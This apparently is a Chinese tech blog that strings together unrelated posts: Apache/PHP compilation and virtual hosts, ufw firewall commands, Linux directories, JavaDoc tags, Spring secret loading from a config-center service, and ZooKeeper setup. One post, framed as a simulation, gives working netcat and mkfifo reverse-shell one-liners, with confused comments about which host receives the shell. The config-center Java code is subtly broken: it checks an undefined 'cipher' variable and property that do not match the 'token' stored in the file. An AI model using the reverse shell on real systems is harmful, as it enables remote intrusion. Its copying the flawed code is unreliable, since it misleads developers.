linux+apache+mysql+php,linux及mysql略,本文介绍apache上部署php。

一、安装apache

下载apache相关资源

httpd(apache)

apr(apache portable runtime)

apr-util

apr及apr-util移至httpd的srclib目录下

1
2
cp -rf apr-1.5.2 /srv/httpd-2.4.25/srclib/apr
cp -rf apr-util-1.5.2 /srv/httpd-2.4.25/srclib/apr-util

apr编译安装

1
2
3
cd /srv/httpd-2.4.25/srclib/apr
./configure --prefix=/srv/httpd-2.4.25/srclib/apr
make && make install

apr-util编译安装

1
2
3
cd /srv/httpd-2.4.25/srclib/apr-util
./configure --prefix=/srv/httpd-2.4.25/srclib/apr-util --with-apr=/srv/httpd-2.4.25/srclib/apr
make && make install

libpcre安装

1
sudo apt-get install libpcre3-dev

apache2.4中文文档__

http://httpd.apache.org/docs/2.4/

httpd配置项

1
2
3
4
5
6
7
8
9
10
11
12
--prefix=/usr/local/apache2 :指定安装目标路径
--sysconfdir=/etc/apache2/conf :指定配置文件安装位置
--enable-so :支持动态共享模块,如果没有这个模块PHP将无法与apache结合工作
--enable-rewirte :支持URL重写
--enable-ssl :启用支持ssl
--enable-cgi :启用支持cgi
--enable-cgid :启用支持带线状图形的CGI脚本 MPMs
--enable-modules=most :安装大多数模块
--enable-modules-shared=most :安装大多数共享模块
--enable-mpms-shared=all :支持全部多道处理方式
--with-apr=/usr/local/apr :指定apr路径
--with-apr-util=/usr/local/apr-util :指定apr-util路径

编译安装启动

1
2
3
4
5
6
7
8
9
10
#/opt/httpd-2.4.25
./configure --prefix=/srv/apache2 --enable-so --enable-rewirte --with-apr=/srv/httpd-2.4.25/srclib/apr --with-apr-util=/srv/httpd-2.4.25/srclib/apr-util
make
make install
#修改端口 /srv/apache2/conf/httpd.conf
Listen 8000
ServerName ${intranet_ip}:8000
#启动apache服务器 /srv/apache2
./bin/apachectl start
#访问8000端口显示It works则说明成功

安装遇到warning: setlocale: LC_CTYPE: cannot change locale (UTF-8)

参考warning: setlocale: LC_CTYPE: cannot change locale

二、搭建php运行环境

下载php

https://secure.php.net/downloads.php

编译安装php

1
2
3
4
#配置编译项
./configure --prefix=/opt/php --with-apxs2=/srv/apache2/bin/apxs --with-config-file-path=/usr/local/php/etc --with-mysql --with-pdo-mysql --with-mysql-sock=/var/mysql/mysql.sock
#编译
make && make install

如果出现libxml2找不到的情况,执行以下命令

1
sudo apt-get install libxml2-dev

如果编译时出现了virtual memory exhausted: Cannot allocate memory错误,这是因为服务器的内存不够

可临时通过增加虚拟内存来解决这个问题,参考增加虚拟内存的方法

apache服务器支持php

修改${apache_path}/httpd.conf文件

1
2
3
<IfModule mime_module>
AddType application/x-httpd-php .php
</IfModule>

apache服务器运行php脚本

修改${apache_path}/httpd.conf文件,

1
2
3
4
DocumentRoot "/srv/${project_path}"
<Directory "/srv/${project_path}">
...
</Directory>

在${project_path}下创建一个php文件测试

1
2
3
<?php
phpinfo();
?>

重新apache服务

1
${apache_path}/bin/apachectl restart

访问自定义配置的端口(此处为8000),看到php相关信息的页面,成功了!

三、apache2配置多个站点

开启多站点配置

1
2
3
4
vim /srv/apche2/conf/httpd.conf
## 打开对应配置项
# Virtual hosts
Include conf/extra/httpd-vhosts.conf

配置多站点的根目录

1
2
3
4
5
6
7
8
9
<!-- vim /srv/apche2/conf/httpd.conf -->

<!-- 设置多站点的根目录 -->
DocumentRoot "/srv/apache2/htdocs"
<Directory "/srv/apache2/htdocs">
...
</Directory>

<!-- 需要配置的多个站点必须置于该目录之下,否则无权访问 -->

配置站点信息

1
2
3
4
5
6
7
8
9
10
11
<!-- vim /srv/apche2/conf/extra/httpd-vhosts.conf -->
<!-- 一个VirtualHost节点即为一个站点 -->
<VirtualHost *:8000>
ServerAdmin webmaster@dummy-host.example.com
DocumentRoot "/srv/apache2/htdocs/willowspace"
ServerName willowspace.cn
ServerAlias www.willowspace.cn
ErrorLog "logs/willowspace-error_log"
CustomLog "logs/willowspace-access_log" common
</VirtualHost>
...

配置目录访问控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- vim /srv/apche2/conf/extra/httpd-vhosts.conf -->
<VirtualHost *:8000>
ServerAdmin webmaster@dummy-host.example.com
DocumentRoot "/srv/apache2/htdocs/assets"
ServerName assets.willowspace.cn
ErrorLog "logs/assets-error_log"
CustomLog "logs/assets-access_log" common
<!-- 目录访问控制 +Indexes表示允许显示文件索引列表 -->
<Directory /srv/apache2/htdocs/assets>
Options +Includes +Indexes
AllowOverride All
Order Deny,Allow
Allow from All
</Directory>
</VirtualHost>

linux防火墙介绍

iptables

Ubuntu的Linux内核提供一个数据包过滤框架:netfilter,传统的操作的命令行工具是iptables。它提供一套完整的可灵活配置的防火墙解决方案。但是它的使用相对复杂

精通iptables需要耗费很多时间,开始使用iptables来管理网络过滤器是个复杂的工作。所以近年来,出现了许多iptables的前端/上游软件,它们都是为了达到不同的目的和满足不同目标用户的需求而生的。

ufw

The Uncomplicated Firewall (ufw)是对iptables的封装,非常适合作为基于主机的防火墙。ufw提供了一套管理netfilter的框架以及一套配置防火墙的命令行接口。ufw的目标是提供一套容易使用的接口给不熟悉防火墙概念的人使用,同时帮助知道自己要干嘛的系统管理员简化复杂的iptables命令的使用。

使用ufw

安装方法

一般ubuntu自带ufw,如果需要也可以自行安装

1
sudo apt-get install ufw

使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#启用
sudo ufw enable
#系统启动时关闭所有外部对本机的访问(本机访问外部正常)。
sudo ufw default deny
#关闭
sudo ufw disable
#查看防火墙状态
sudo ufw status
#允许外部访问80端口
sudo ufw allow 80
#禁止外部访问80端口
sudo ufw delete allow 80
#允许IP访问所有的本机端口
sudo ufw allow from 192.168.1.1
#禁止外部访问smtp服务
sudo ufw deny smtp
#删除上面建立的某条规则
sudo ufw delete deny smtp
#拒绝所有的TCP流量从10.0.0.0/8 到192.168.0.1地址的22端口
sudo ufw deny proto tcp from 10.0.0.0/8 to 192.168.0.1 port 22
#允许所有RFC1918网络(局域网/无线局域网的)访问这个主机
sudo ufw allow from 10.0.0.0/8
sudo ufw allow from 172.16.0.0/12
sudo ufw allow from 192.168.0.0/16

惯例配置

服务器通常只暴露用于管理的22端口及一个服务端(入)口80,内部再通过反向代理进行端口(服务)分发

1
2
3
4
5
6
7
#启用
sudo ufw enable
#系统启动时关闭所有外部对本机的访问(本机访问外部正常)。
sudo ufw default deny
#允许外部访问80端口及22端口
sudo ufw allow 22
sudo ufw allow 80

使用指南

ufw中文使用指南

  1. / 文件系统的入口,最高一级目录;

  2. /usr 系统存放程序的目录,比如命令、帮助文件等。这个目录下有很多的文件和目录。当我们安装一个__Linux发行版官方提供的软件包__时,大多安装在这里。如果有涉及服务器配置文件的,会把配置文件安装在/etc目录中。

  3. /var 这个目录的内容是经常变动的,看名字就知道,我们可以理解为vary的缩写,__/var/log 这是用来存放系统日志的目录__;__/var/www目录是定义Apache服务器站点存放目录__;__/var/lib 用来存放一些库文件__,比如MySQL,以及MySQL数据库的的存放地;/var/spool 打印机、邮件、代理服务器等假脱机目录;

  4. /srv 主要用来存储本机或本服务器提供的服务或数据。(用户主动生产、对外提供服务)__服务器被用作Web开发时,静态资源文件更应该被放在/srv/www下,而不是/var/www下__(因为/srv目录是新标准中才出现的,而且Apache将其设为了web默认目录,所以现在绝大多数人都把web文件放在这里)。如ftp、流媒体服务等也应该被放在/srv对应的目录下。如果对应目录太大,应该另外挂载分区。

  5. /opt Optional application software packages ,也就是__自定义软件包__,有些我们自己编译的软件包,就可以安装在这个目录中;通过源码包安装的软件,可以通过 ./configure –prefix=/opt/,将软件安装到opt目录。这个目录包含所有默认系统安装之外的软件和添加的包。

  6. /etc` Editable Text Configuration 存放__系统__程序或者一般工具的配置文件。__如安装了apache2之后,配置文件在/etc/apache2/目录下__。/etc/init.d 这个目录是用来存放系统或服务器以System V模式启动的脚本,这在以System V模式启动或初始化的系统中常见。如apache2的/etc/init.d apache2 start|stop|restart MySQL为/etc/init.d mysql start|stop|restart

  7. /mnt 一般是用于存放挂载储存设备的挂载目录的,比如有cdrom 等目录。有时我们可以把让系统开机自动挂载文件系统,把挂载点放在这里也是可以的。比如光驱可以挂载到/mnt/cdrom 。这是一个普通的加载目录,在这里你可以加载你的文件系统或设备。加载是使一个文件系统对于系统可用的过程。在加载后你的文件可以在加载目录下访问。这个目录通常包含加载目录或用于加载软驱和光驱的子目录。如果需要,你也可以在这里建立其它的加载目录。对于加载目录的位置并没有强制性的要求,你可以在系统的任意位置建立加载目录。建立 /mnt 只是为了使系统更工整的惯例。

  8. /tmp 临时文件目录,有时__用户__运行程序的时候,会产生临时文件。 /tmp就用来存放临时文件的。/var/tmp目录和这个目录相似。许多程序在这里建立lock文件和存储临时数据。有些系统会在启动或关机时清空此目录。

  9. /boot 包含Linux内核及系统引导程序所需要的文件,比如 vmlinuz initrd.img 文件都位于这个目录中。在一般情况下,GRUB或LILO系统引导管理器也位于这个目录;

  10. /root Linux超级权限用户root的家目录;

  11. /bin __基础系统__所需要的命令位于此目录,是最小系统所需要的命令,如:ls, cp, mkdir等。
    这个目录中的文件都是可执行的,一般的用户都可以使用。

  12. /sbin 大多是涉及__系统管理__的命令的存放,是超级权限用户__root__的可执行命令存放地,普通用户无权限执行这个目录下的命令;这个目录和/usr/sbin; /usr/X11R6/sbin或/usr/local/sbin 目录是相似的; 我们记住就行了,凡是目录sbin中包含的都是root权限才能执行的。

  13. /dev 设备文件存储目录,比如声卡、磁盘… … 这是一个非常有趣的目录,是Linux文件系统的一个闪亮的特性 - 所有对象都是文件或目录。仔细观察这个目录你会发现hda1, hda2等, 它们代表系统主硬盘的不同分区。

    /dev/cdrom和/dev/fd0代表你的CDROM驱动器和floppy驱动器。看上去可能有些奇怪,但比较文件和硬件的特性这却是十分合理的。它们都可以读出和写入。例如/dev/dsp,这个文件代表你的扬声器。那么写入这个文件的数据都回传送到喇叭。试一试 ‘cat /etc/lilo.conf > /dev/dsp’ 你会听到一些声音。这是你的 lilo.conf 文件的声音!同样,向/dev/ttyS0 ( COM 1 ) 读出或写入数据你可以和接到上面的设备进行通讯。

  14. /home 普通用户默认存放目录 Linux 是多用户环境,所以每一个用户都有一个只有自己可以访问的目录(当然管理员也可以访问)。它们以 /home/username 的方式存在。这个目录也__保存一些应用对于这个用户的配置__,比如 IRC, X 等。

  15. /liblib32/lib64 库文件存放目录这里包含了__系统__程序所需要的所有共享库文件,类似于 Windows 的共享库 DLL 文件。

  16. /lost+found 在ext2或ext3文件系统中,当系统意外崩溃或机器意外关机,而产生一些文件碎片放在这里。当系统启动的过程中fsck工具会检查这里,并修复已经损坏的文件系统。 有时系统发生问题,有很多的文件被移到这个目录中,可能会用手工的方式来修复,或移到文件到原来的位置上。
    Linux 应该正确的关机。但有时你的系统也可能崩溃掉或突然断电使系统意外关机。那么启动的时候 fsck 将会进行长时间的文件系统检查。Fsck 会检测并试图恢复所发现的不正确的文件。被恢复的文件会放置在这个目录中。所恢复的文件也许并不完整或并不合理,但毕竟提供了一些恢复数据的机会。

  17. /media 即插即用型存储设备的挂载点自动在这个目录下创建,比如USB盘系统自动挂载后,会在这个目录下产生一个目录 ;CDROM/DVD自动挂载后,也会在这个目录中创建一个目录,类似cdrom 的目录。这个只有在最新的发行套件上才有.

  18. /proc 虚拟文件系统。该目录中的数据并不是保存在硬盘中,而是保存在内存当中。主要用来保存操作系统运行时进程、外部设备、内核(比如cpu、硬盘分区、内存信息等)等信息。如 /proc/cpuinfo 保存的是CPU信息,/proc/devices 保存的是设备驱动信息列表。

  19. /sys 虚拟文件系统。和 /proc 目录相似,里面的数据也是保存在内存中的,它主要用来保存__内核的相关信息__。

  20. /run 这个目录和/var/run是类似的,存储了一些系统启动引导时的运行时信息

JavaDoc常用注释

  • @author         指定Java程序的作者
  • @version        指定源文件版本
  • @parameter 参数名及其意义
  • @return         返回值
  • @throws        异常类及抛出条件
  • @deprecated     引起不推荐使用的警告(标识一个方法已经不推荐使用了)
  • @see 超链 e.g. http://google.com
  • @since          表示从那个版本起开始有了这个函数 
  • @note           表示注解,暴露给源码阅读者的文档 
  • {@value}       当对常量进行注释时,如果想将其值包含在文档中,则通过该标签来引用常量的值。
  • {@link 包.类#成员} 链接到某个特定的成员对应的文档中。

Intellj IDEA中生成JavaDocs

选择Tools->generate JavaDocs

注意一点,在Other command line arguments输入-encoding utf-8 -charset utf-8,这样可以保证中文的正常输出。

本文介绍的是配置信息的__动静态__加载,这里的动静态加载可以类比程序的编译时加载和运行时加载的概念,本文将举例说明静态加载配置的缺点、为了避免这些缺点引入动态加载配置的概念,并给出实际操作的方法。

静态加载配置

我们常常会将配置文件存放在项目上下文环境中,例如classpath下,或者项目某个目录下,启动时去读这个文件,这样的配置可以称之为静态加载配置。静态加载配置不够集中灵活,因为在项目打包的时候就决定了配置信息内容;最重要的是,这种配置方式不够安全,因为配置信息跟随代码,当我们将代码上传到github等开源的代码版本管理平台,那么一些敏感的配置(e.g. 数据库账号密码等)就暴露了。

拿jdbc的配置信息举例。

下面这行xml配置代码是使用jdbc配置数据库连接时在datasource.xml文件中的配置项。它包含一个location属性,该属性告诉了程序该去哪里加载配置信息,值中包含classpath说明这个配置存在于项目上下文中。

1
2
3
<!-- datasource.xml -->
<!--可以将数据库连接池的配置文件单独放在另一个properties中-->
<context:property-placeholder location="classpath:conf/db.properties"/>

以下是上面location指明的db.properties文件中的内容,存储了数据库连接地址、用户名、密码,注意到这些都是敏感配置,很明显存在前面提到的静态加载配置的弊端:不安全,敏感信息暴露无遗。

1
2
3
4
# db.properties
jdbc_url=jdbc:mysql://localhost:3306/db?useUnicode=true&characterEncoding=UTF-8&zeroDateTimeBehavior=convertToNull
jdbc_user=username
jdbc_password=password

动态加载配置

为了避免静态加载配置的缺点,我们很自然的想到需要干掉上面的db.properties以及datasource.xml中关于db.properties的配置信息。为了说明动态加载配置,我们将当前这个项目叫做业务项目。

基本思路是将db.properties中的信息放到一个独立于业务项目的地方存放。然后在业务项目启动加载datasource时动态的去这个独立的地方拿db.properties的信息并加载。这样就干掉了db.properties及datasource.xml中的敏感配置项,这就是本文要介绍的__动态加载配置__。上文提到的独立的地方可以是一个独立的项目,如了方便说明实际操作,这里我给这个项目取名为cc项目,取Configuration Center(配置中心)之意。

大致的示意图如下

下面就来看看具体如何操作

配置中心:cc项目

cc项目非常容易构建,如果只是为了独立数据库连接配置,那么可以只提供一个接口,在业务项目启动时,请求这个接口来获得数据库连接的敏感配置信息即可。

cc项目中提供敏感配置信息的接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@RestController
@RequestMapping("/")
public class ConfigurationController {
//内网配置过访问权限的目录,该目录存放各业务项目的敏感配置
private static final String PREFIX = "/var/www/cc";

@RequestMapping("/jdbc")
public String getPropertiesByProject(Cgi cgi) throws IOException {
String project = cgi.getString("project", ""); //调用方业务项目名
String token = cgi.getString("token", ""); //接口调用凭证token
Properties properties = new Properties();
FileInputStream inputStream = new FileInputStream(PREFIX + "/" + project + ".properties");
properties.load(inputStream);
if (properties.isEmpty()) {
return "get properties error";
}
String savedCipher = properties.getProperty("cipher");
if (cipher.isEmpty() || savedCipher.isEmpty() || !cipher.equals(savedCipher)) {
return "authentication is failed";
}
String jdbc_url = properties.getProperty("jdbc_url");
String jdbc_user = properties.getProperty("jdbc_user");
String jdbc_password = properties.getProperty("jdbc_password");
JSONObject propertiesJson = new JSONObject();
propertiesJson.put("jdbc_url", jdbc_url);
propertiesJson.put("jdbc_user", jdbc_user);
propertiesJson.put("jdbc_password", jdbc_password);
System.out.println(propertiesJson.toString());
inputStream.close();

return propertiesJson.toString();
}
}
1
2
3
4
5
6
# ${project}.properties 这里的${project}根据调用的业务系统传入的project参数配置不同读取对应的properties文件
# 内网存储系统(配置过访问权限)中存储的某业务项目的敏感配置信息
token=2^$>[[.34337,8@4
jdbc_url=jdbc:mysql://localhost:3306/db?useUnicode=true&characterEncoding=UTF-8&zeroDateTimeBehavior=convertToNull
jdbc_user=username
jdbc_password=password

业务项目加载敏感信息

业务项目获取敏感信息分两步:1.配置cc项目的接口及参数信息 2.启动时从cc接口加载敏感信息。

还是以加载jdbc数据源为例说明

  • 1.配置cc项目的接口及参数信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!-- datasource.xml 配置cc项目提供敏感配置的接口及所需参数信息 -->
<!-- 原加载配置的方式 <context:property-placeholder location="classpath:conf/db.properties"/>-->
<!-- 现在注入用于从cc项目拉取配置的类-->
<bean id="configurationCenterHolder"
class="framework.ConfigurationCenterHolder">
<property name="locations">
<list>
<value>classpath:conf/cc.properties</value><!-- 配置cc提供配置的接口信息 -->
</list>
</property>
</bean>

<bean id="dataSource" class="com.demo.DataSource">
<property name="driverClassName" value="com.mysql.jdbc.Driver"/>
<!-- 基本属性 url、user、password,使用了形如${key}的占位符,从cc获取敏感配置后将替换成实际值 -->
<property name="url" value="${jdbc_url}"/>
<property name="username" value="${jdbc_user}"/>
<property name="password" value="${jdbc_password}"/>
</bean>
1
2
3
4
# cc.properties
# 这里的cc已经不存在可供外网访问的路由、用户名、密码等敏感信息,所以可以放心配置在项目中
jdbc_url=http\://localhost\:8110/jdbc
project=javavirtual
  • 2.启动时从cc接口加载敏感信息

使用第1步中配置的framework.ConfigurationCenterHolder类,该类继承了spring的PropertyPlaceholderConfigurer类,这是spring中的一个bean工厂后置处理器,重载其processProperties方法可以在程序运行时替换bean配置文件(xml)中用${key}占位的配置项。于是,我们可以结合cc的接口如下来实现动态加载敏感配置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public class ConfigurationCenterHolder extends PropertyPlaceholderConfigurer {
private static final String JDBC_URL = "jdbc_url";
private static final String PROJECT = "project";

@Override
protected void processProperties(ConfigurableListableBeanFactory beanFactoryToProcess, Properties props) throws BeansException {
try {
//读取cc接口配置
String jdbcUrl = props.getProperty(JDBC_URL);
String project = props.getProperty(PROJECT);
String token = initCipher(project);
//请求cc接口获取敏感配置
String urlStr = jdbcUrl + "?token=" + URLEncoder.encode(token, "UTF-8") + "&project=" + project;
String responseString = HttpClientUtil.request(urlStr);
JSONObject json = JSONObject.parseObject(responseString);
//动态加载获取到的敏感配置信息,并填充占位符${key}
props.setProperty("jdbc_url", json.isEmpty() ? "" : (String) json.get("jdbc_url"));
props.setProperty("jdbc_user", json.isEmpty() ? "" : (String) json.get("jdbc_user"));
props.setProperty("jdbc_password", json.isEmpty() ? "" : (String) json.get("jdbc_password"));
LoggerUtil.info("init datasource success");

} catch (Exception e) {
LoggerUtil.error("init datasource error", e);
}
super.processProperties(beanFactoryToProcess, props);
}

//从内网存储系统(配置过访问权限)获取cc接口认证token参数
private String initCipher(String project) throws IOException {
String cipherFile = (SysConfig.DEV ? "/Users/." : "/home/.") + project;
BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(new File(cipherFile)), "utf-8"));
String line;
while ((line = reader.readLine()) != null) {
if (line.trim().length() == 0)
continue;

String token = line.trim().replaceAll("\\s+", " ");
return token;
}
reader.close();
return "";
}
}
1
2
3
# .${project} 与业务项目名对应的文件,用于存储调用cc接口的token
# 该token与cc接口读取的${project}.properties文件中的token一致方可通过cc接口认证,成功拿到敏感配置
2^$>[[.34337,8@4

注意

  • 1.cc项目应该和业务项目部署在同一个内网环境中,并且屏蔽外网对cc项目的访问。这样就完全隔绝的敏感配置信息与外网环境,就算业务项目代码泄漏也不会直接泄漏敏感配置信息。另外敏感信息以及cc接口认证的信息要配置在内网中配置了访问权限的文件中,这样保证了在内网中的只有对应的用户可以访问到对应的敏感文件。
  • 2.这里提供的token认证只是一个示例,实际生产环境汇总可以给cc项目获取敏感配置信息的接口增加一些其他的安全措施来进一步确保安全(e.g. 接口签名)。

总结

至此,我们就从业务项目中剔除了敏感配置信息,并且可以从cc接口动态加载配置。另外,cc项目的代码中也不存在敏感信息,所以,业务项目和cc项目都是可以公开暴露的,我们只需要在确保内网不能访问cc的接口并且保证内网中存储的敏感配置有权限控制,这样的动态加载配置保证了敏感配置信息是私密的、安全的。

参考

应用敏感信息的 6 个配置原则

通过shell命令模拟反弹shell的攻击过程

其中attcker_machine是攻击者的机器,也是最终shell反弹的目标机器。meat_machine是一台受攻击的肉鸡,是shell被反弹的机器。

1
2
3
4
5
6
# {attacker_machine_ip} 监听2333端口
nc -l -p 2333 -v
# 反弹shell至{meat_machine_ip} 2333端口
rm /tmp/bd;mkfifo /tmp/bd;cat /tmp/bd | /bin/sh -i 2>&1 | nc {meat_machine_ip} 2333 >/tmp/bd
# 不从stderr传给stdout
rm /tmp/bd;mkfifo /tmp/bd;cat /tmp/bd | /bin/sh -i >&1 | nc {attacker_machine_ip} 2333 > /tmp/bd

mkfifo 是创建一个先进先出的文件,整个流程如下:

  1. 先在受害机器上创建了一个先进先出的文件bd
  2. nc连接控制机,接受控制机的输入,传给bd这个文件
  3. cat 将bd文件内容传给/bin/sh 执行
  4. 2>&1是将stderr传给stdout,然后重定向给nc
  5. nc通过网络将结果传给了控制机

zookeeper资源获取

zookeeper简单使用

  1. 下载zookeeper,例如:zookeeper-3.4.10

  2. 解压zookeeper-3.4.10.tar.gz,并进入解压后的目录(以下用{zookeeper}代替解压后的目录)

  3. 新建一个配置文件{zookeeper}/conf/zoo.cfg

  4. 使用standalone mode配置

    1
    2
    3
    4
    5
    6
    #毫秒,心跳间隔
    tickTime=2000
    #内存数据库(存储更新的事务)快照存储目录
    dataDir=/var/lib/zookeeper
    #客户端的连接端口
    clientPort=2181
  5. 启动zookeeper

    1
    bin/zkServer.sh start
  6. 连接zookeeper

    1
    bin/zkCli.sh -server 127.0.0.1:2181

    进入zookeeper client,输入help可以获得client命令列表

  7. 使用create命令创建一个znode节点

    1
    2
    3
    4
    5
    6
    7
    8
    9
    # 创建一个znode节点来关联这个节点与数据(字符串"my_data")
    create /zk_test my_data
    # 使用get命令验证创建的这个znode节点
    get /zk_test
    # 使用set命令改变这个节点关联的数据
    set /zk_test junk
    # 使用delete命令删除这个节点
    delete /zk_test
    # 使用quit命令退出zookeeper client

zookeeper集群

生产环境中我们需要使用Replicated Mode来配置一个zookeeper集群。在一个应用中,重复的服务组叫做一个quorum ,在Relicated mode中,一个quorum中的所有的服务拥有同样的配置

Note.

既然是集群,那服务节点起码大于2。为了满足选举Leader的需要,集群中则至少需要有三个服务节点。因为如果只有两个,在其中一个挂掉的情况下,就没有足够的服务节点去使用majority quorum机制来选举Leader

集群配置文件

1
2
3
4
5
6
7
8
9
10
tickTime=2000
dataDir=/var/lib/zookeeper
clientPort=2181
# 初始化时,在一次zookeeper quorum的服务节点初始化的过程中,连接Leader的次数
initLimit=5
# 限制了一个节点距离Leader的间隔
syncLimit=2
server.1=zoo1:2888:3888
server.2=zoo2:2888:3888
server.3=zoo3:2888:3888

zookeeper编程

0%